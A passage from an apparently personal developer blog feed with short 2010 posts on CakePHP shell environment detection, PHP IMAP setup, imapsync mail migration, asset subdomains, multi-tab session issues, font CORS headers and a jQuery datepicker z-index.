&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /usr/local/php5/bin/php&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ${LIB}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;cake.php&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -working&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${APP}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$@&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;And it&#39;s ok&lt;/h2&gt;
&lt;p&gt;Your cronjob should not work effortlessly. It took me some long hours to track
all this down (along with other issues on my local dev machine that make
debugging even more cloudy).&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Knowing dev from prod in a cakePHP shell</title>
    <link href="https://blog.pixelastic.com/2010/11/22/knowing-dev-prod-cakephp-shell/"/>
    <updated>2010-11-22T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/11/22/knowing-dev-prod-cakephp-shell</id>
    <content type="html">&lt;p&gt;I wrote a cakePHP shell to synchronize an IMAP mailbox with a mysql table. I
wanted to test my shell on local first, then upload it and make a CRON job of
it.&lt;/p&gt;
&lt;p&gt;Whenever I tried to run the shell from my development environment I was greeted
with various &amp;quot;&lt;em&gt;Database table is missing&lt;/em&gt;&amp;quot; messages.&lt;/p&gt;
&lt;p&gt;After some digging, it occurs that the shell was connecting to my prod database,
not the dev one.&lt;/p&gt;
&lt;h2&gt;The culprit&lt;/h2&gt;
&lt;p&gt;I wrote a little snippet to automatically switch to the correct database based
on the current server name. If it was &lt;code&gt;localhost&lt;/code&gt;, I used the &lt;code&gt;$dev&lt;/code&gt;
credentials, while keeping the &lt;code&gt;$default&lt;/code&gt; credentials for other cases (ie.
production).&lt;/p&gt;
&lt;p&gt;This worked great and I added this little code to my &lt;code&gt;database.php&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;But when running a shell, the &lt;code&gt;env(&#39;SERVER_ADDR&#39;)&lt;/code&gt; was empty, thus my test was
always selecting the prod database.&lt;/p&gt;
&lt;p&gt;I couldn&#39;t find anyway to guess if I was running a shell from prod or dev. I
sure had access to a lot of config informations through &lt;code&gt;env&lt;/code&gt; and &lt;code&gt;$_SERVER&lt;/code&gt; but
none seemed to be enough to guess the correct environment.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;I finally decided that the only way was to manually pass a flag to my shell call
to tell if it was to use the dev or prod credentials.&lt;/p&gt;
&lt;p&gt;I decided that adding a &lt;code&gt;dev&lt;/code&gt; arg to the shell call will switch to dev mode,
while not adding it will use production mode.&lt;/p&gt;
&lt;p&gt;My final shell call looked like:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;cake&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -app&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;path/to/app&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; mail_import&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And I added the following logic in my database switching logic:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Defining the Environment (prod or dev)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;defined&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;CAKEPHP_SHELL&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Based on the prod/dev flag&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $args&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; env&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;argv&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $environment&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;prod&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  foreach&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$args&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $flag&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$flag&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;dev&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      $environment&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;dev&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      break&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Based on the server url&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $environment&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;env&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;SERVER_ADDR&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;dev&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;prod&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that I checked if the script was accessed through normal server/php
delegation or through the CLI using &lt;code&gt;defined(&#39;CAKEPHP_SHELL&#39;)&lt;/code&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Adding extensions to a Windows PHP</title>
    <link href="https://blog.pixelastic.com/2010/11/22/adding-extensions-windows-php/"/>
    <updated>2010-11-22T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/11/22/adding-extensions-windows-php</id>
    <content type="html">&lt;p&gt;My development environment is set up thanks to EasyPHP. I&#39;ve used this app since
the first days that I started to write PHP and it followed me since.&lt;/p&gt;
&lt;p&gt;I guess I have a better understanding of what it does under the scenes now and
could probably work with a clean and custom Apache/MySQL/PHP install. But I like
simplicity.&lt;/p&gt;
&lt;p&gt;Anyway, I just wanted to run my imap script from the CLI but ran into &amp;quot;&lt;em&gt;Fatal
error: imap_open not defined&lt;/em&gt;&amp;quot;.&lt;/p&gt;
&lt;p&gt;The same script was perfectly working when accessing it from my browser but
failed when launched from the CLI.&lt;/p&gt;
&lt;p&gt;That when I remember that I needed to enabled the &lt;code&gt;php_imap.dll&lt;/code&gt; extensions in
both EasyPHP PHP options (for web access) and &lt;code&gt;C:&#92;windows&#92;php.ini&lt;/code&gt; (for cli
access)&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Migrating mails from GMail to other IMAP server</title>
    <link href="https://blog.pixelastic.com/2010/11/16/migrating-mails-gmail-imap-server/"/>
    <updated>2010-11-16T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/11/16/migrating-mails-gmail-imap-server</id>
    <content type="html">&lt;p&gt;I have previously blogged on how [I migrate mails](/blog/176:migrating-mails-
imap-part-1-2) from [one IMAP server to another.](/blog/180:migrating-mails-
from-imap-to-imap-part-2-2) Today I had to migrate some mails again.&lt;/p&gt;
&lt;p&gt;My client&#39;s staff wasn&#39;t happy about the GMail webmail we gave them. The lack of
a true &amp;quot;Draft&amp;quot; feature (one tha could be used and reused) had them drop a lot of
productivity, so we decided to get back to Squirel Mail.&lt;/p&gt;
&lt;p&gt;I started by manually recreating all the email adresses on the back-end on the
Dreamhost server. Once at least one address is created, Dreamhost automatically
creates the matching A and MX records.&lt;/p&gt;
&lt;p&gt;I had to update my zone file on my registrar to update the previously MX and A
records that were set to point to Google and updated to point to Dreamhost. I
have to use an intermediate zone file on my registrar because I&#39;m dealing with
&lt;a href=&quot;/blog/24:configuring-a-fr-with-dreamhost&quot;&gt;a limitation of the .fr TLD&lt;/a&gt; here.&lt;/p&gt;
&lt;p&gt;Once the zone were updated and changes repercuted accross the network, I
connected to the new Squirel mail. My inbox was empty.&lt;/p&gt;
&lt;p&gt;So I ran &lt;code&gt;imapsync&lt;/code&gt; to copy all mails from the google hosted service to my new
server.&lt;/p&gt;
&lt;p&gt;The syntax to be used is a little different than the one I mentioned on my
previous post, so here it is:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;imapsync&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --host1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; imap.gmail.com&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --ssl1&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --authmech1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; LOGIN&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --user1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; foo@domain.fr&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --passfile1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /path/to/pass1&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --host2&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 208.97.&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --user2&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; foo@domain.fr&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --passfile2&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /path/to/pass2&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --useheader=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;X-GMail-Received&quot;&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --useheader&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;Message-Id&#39;&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --noauthmd5&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After that, I reloaded my Squirel Mail inbox, and it was populated. I just had
to do that for every account.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Performance improvement: moving assets to subdomains</title>
    <link href="https://blog.pixelastic.com/2010/11/08/performance-improvement-moving-assets-subdomains/"/>
    <updated>2010-11-08T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/11/08/performance-improvement-moving-assets-subdomains</id>
    <content type="html">&lt;p&gt;&lt;strong&gt;Disclaimer: What I&#39;m talking about in this blog post can be optimised. Yes,
having multiple hosts is a great feature for performance improvement, but I kind
of did it wrong. My recent try at the webperf contest gave me more insight on
how to do it right.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I&#39;ll post more on the subject or update this post to reflect that.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I&#39;ve just added to this site a performance improvement I read a long time ago
but never implemented.&lt;/p&gt;
&lt;p&gt;I&#39;m talking about the multiple domains to serve static content. There are two
important things to note here: parallel requests and cookies. Let me explain in
a little more details what it&#39;s all about.&lt;/p&gt;
&lt;h2&gt;Parallell requests&lt;/h2&gt;
&lt;p&gt;Your browser is only able to perform a certain number of parallel request at the
same time. It means that it can only download a certain number of files
concurrently (usually 4).&lt;/p&gt;
&lt;p&gt;In other words, it will start the download of, say, a CSS file, a Javascript
file, and two images. Then, whenever one of this files is received, it will
start downloading a new file, and so on.&lt;/p&gt;
&lt;p&gt;This means that there is a certain amount of time that is &amp;quot;lost&amp;quot; in the process.
You have to wait for one of the files to be downloaded before starting
downloading the next.&lt;/p&gt;
&lt;p&gt;The important thing to note is that the limit on the number of parallel
downloads is set on a per-domain basis. It means that you can download only 4
files of &lt;code&gt;foo.com&lt;/code&gt; while downloading at the same time 4 files from &lt;code&gt;bar.com&lt;/code&gt;.
This is the basic of what we will be using to our advantage.&lt;/p&gt;
&lt;p&gt;Splitting your files accross several domains (or subdomains) allows you to get
the best of parallel download. You do not really need to have your content
hosted on different servers, you just need them to be accessible through
different domain names, and subdomains are just perfect for that.&lt;/p&gt;
&lt;p&gt;I have created four subdomains: &lt;code&gt;css.pixelastic.com&lt;/code&gt;, &lt;code&gt;js.pixelastic.com&lt;/code&gt;,
&lt;code&gt;img.pixelastic.co&lt;/code&gt;m and &lt;code&gt;dl.pixelastic.com&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Each one maps to the exact same site as &lt;code&gt;www.pixelastic.com&lt;/code&gt; but using different
names improve the number of possible downloads and thus improve page load.&lt;/p&gt;
&lt;h2&gt;Cookies&lt;/h2&gt;
&lt;p&gt;All this stuff about subdomains brings me to my second point: cookies.&lt;/p&gt;
&lt;p&gt;If you host all your files on the same domain, it means that all requests (be it
a php page or a static css file) will send cookie information without you
knowing.&lt;/p&gt;
&lt;p&gt;Cookie data is usually small, like 100Ko or so, but is added to every single
request made. And most of the time this information is not even useful.&lt;/p&gt;
&lt;p&gt;Apart from the fact that you are slowly killing your website bandwith with
useless information, your are also decreasing your page speed load for your
potential user.&lt;/p&gt;
&lt;p&gt;The same trick of using a subdomain applies here too, and cookies won&#39;t be sent.&lt;/p&gt;
&lt;p&gt;There is one caveat that you should be aware of, though. If your site is
accessible through &lt;code&gt;domain.com&lt;/code&gt; and you host your files on &lt;code&gt;files.domain.com&lt;/code&gt;,
cookies will still be sent because &lt;code&gt;domain.com&lt;/code&gt; is considered the master domain
of &lt;code&gt;files.domain.com&lt;/code&gt; and thus all cookies set on the main domain will also
propagate to the subdomains.&lt;/p&gt;
&lt;p&gt;On the other hand, if your main domain is &lt;code&gt;www.domain.com&lt;/code&gt;, it is not considered
a parent domain of &lt;code&gt;files.domain.com&lt;/code&gt; (but rather a sibling domain).&lt;/p&gt;
&lt;h2&gt;Configuring Apache&lt;/h2&gt;
&lt;p&gt;If you need to edit your &lt;code&gt;httpd.con&lt;/code&gt;f file, here is what I put to add my
different subdomains on my local machine:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-apache&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x3C;VirtualHost &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;*:80&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  ServerName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; pixelastic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  ServerAlias&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; www.pixelastic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  ServerAlias&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; css.pixelastic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  ServerAlias&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; js.pixelastic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  ServerAlias&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; img.pixelastic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  ServerAlias&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; dl.pixelastic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  DocumentRoot&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &quot;www/pixelastic.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  &amp;#x3C;Directory &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;www/pixelastic.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    Options&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; Indexes FollowSymLinks Includes ExecCGI&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    AllowOverride&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; All&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    Order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; allow,deny&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    Allow&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; from all&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  &amp;#x3C;/Directory&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x3C;/VirtualHost&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>The multi-tab admin problem</title>
    <link href="https://blog.pixelastic.com/2010/11/08/multi-tab-admin-problem/"/>
    <updated>2010-11-08T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/11/08/multi-tab-admin-problem</id>
    <content type="html">&lt;p&gt;Today I had to update an important zone file at my registrar. Because it was
quite important, and because I already did an almost identical job a few months
ago, I decided to copy-paste the old work.&lt;/p&gt;
&lt;p&gt;So I started by opening the &lt;code&gt;domain A&lt;/code&gt; zone edit page. Then  I opened a new tab,
and loaded the &lt;code&gt;domain B&lt;/code&gt; zone edit page.&lt;/p&gt;
&lt;p&gt;I selected the &lt;code&gt;domain B&lt;/code&gt; content and copied it in the &lt;code&gt;domain A&lt;/code&gt; page. I had to
update some values, mostly IP addresses, and then validate the page.&lt;/p&gt;
&lt;p&gt;Instead of updating the &lt;code&gt;domain A&lt;/code&gt; zones as I expected, it updated the
&lt;code&gt;domain B&lt;/code&gt; zones and left the &lt;code&gt;domain A&lt;/code&gt; unchanged. Can you guess why?&lt;/p&gt;
&lt;h2&gt;Session handling&lt;/h2&gt;
&lt;p&gt;My guess is that everytime I opened a new page, a Session was tracking my
&amp;quot;current&amp;quot; domain, the one I was editing. So opening a new tab to a new domain
changed my current domain from &lt;code&gt;domain A&lt;/code&gt; to &lt;code&gt;domain B&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Therefore, when I updated the &lt;code&gt;domain A&lt;/code&gt; zone, the next page was assuming I was
editing the &lt;code&gt;domain B&lt;/code&gt; page. If I had opened the tabs in reverse order, it would
have worked seamlessly.&lt;/p&gt;
&lt;h2&gt;Why doing that?&lt;/h2&gt;
&lt;p&gt;I have encountered a similar behavior in my own apps. By using the cakePHP
Security behavior, a special security token is generated for each form. Its
integrity is checked whenever a form is posted, and verify that no field has
been tampered (no mandatory field has been deleted, no new field has been
added).&lt;/p&gt;
&lt;p&gt;This is a great security component, but because a special key is stored on the
Session side, it also means that whenever you open several tabs, only the latest
can be correctly checked and all other one will get rejected.&lt;/p&gt;
&lt;p&gt;It bugs me at first, because I used to open several tabs whenever I need to
&amp;quot;batch add&amp;quot; a lot of items. In real life, I found that I was almost the only
person to do that... So I finally accepted the multi-tab restriction.&lt;/p&gt;
&lt;p&gt;Getting back to my registrar: I guess they did it that way because of security
reasons too, but I found it particularly counter-intuitive in that case and that
could have led to serious damages.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Using fonts hosted on a subdomain with @font-face and Firefox</title>
    <link href="https://blog.pixelastic.com/2010/11/08/fonts-hosted-subdomain-font-face-firefox/"/>
    <updated>2010-11-08T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/11/08/fonts-hosted-subdomain-font-face-firefox</id>
    <content type="html">&lt;p&gt;As a security reason, Firefox do not allow an &lt;code&gt;@font-face&lt;/code&gt; rule to load fonts
hosted on a different domain (even a subdomain).&lt;/p&gt;
&lt;p&gt;I don&#39;t exactly understand why, I guess it has something to do with preventing
crosslinking and copyright violation. I think we should keep the website author
handle all this stuff and not required the browser to make assumptions like
that.&lt;/p&gt;
&lt;p&gt;Anyway, I recently tried to move my CSS file to a subdomain, to reduce pages
loading times. Doing so I saw that my fonts did not correctly load on Firefox.&lt;/p&gt;
&lt;p&gt;After some digging, I found that I had to manually allow them to be linked from
an other domain, server-side. Here is the little snippet I added to my
&lt;code&gt;.htaccess&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-apache&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x3C;FilesMatch &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&#92;.(ttf|otf|woff)$&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  &amp;#x3C;IfModule &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;mod_headers.c&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    Header&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; set Access-Control-&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Allow&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;-Origin &quot;*&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  &amp;#x3C;/IfModule&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x3C;/FilesMatch&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Setting the z-index of a jQuery UI datepicker</title>
    <link href="https://blog.pixelastic.com/2010/10/20/setting-zindex-jquery-ui-datepicker/"/>
    <updated>2010-10-20T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/10/20/setting-zindex-jquery-ui-datepicker</id>
    <content type="html">&lt;p&gt;I ran into a collision issue with two of my absolutly positionned elements on a
form page. I had an invisible flash buttun (used to launch an upload process) as
well as jQuery UI datepicker.&lt;/p&gt;
&lt;p&gt;The form was built in a way that when the datepicker was displayed, it was
supposed to be on top of the invisible Flash button. Unfortunatly the button was
in fact &amp;quot;on top&amp;quot; of the datepicker, but being invisible you do not notice it
until you click.&lt;/p&gt;
&lt;p&gt;This resulted in an upload dialog popping up and many confused users.&lt;/p&gt;
&lt;h2&gt;The fix&lt;/h2&gt;
&lt;p&gt;The Flash &lt;code&gt;z-index&lt;/code&gt; is fixed in my CSS (10), so I thought that adding a greater
&lt;code&gt;z-index&lt;/code&gt; to the jQuery UI datepicker in CSS would be enough.&lt;/p&gt;
&lt;p&gt;It is not. The jQuery UI datepicker seems to automatically set the &lt;code&gt;z-index&lt;/code&gt; to
1, whatever you specified.&lt;/p&gt;
&lt;p&gt;I checked the &lt;a href=&quot;http://jqueryui.com/demos/datepicker/&quot;&gt;datepicker options&lt;/a&gt;,
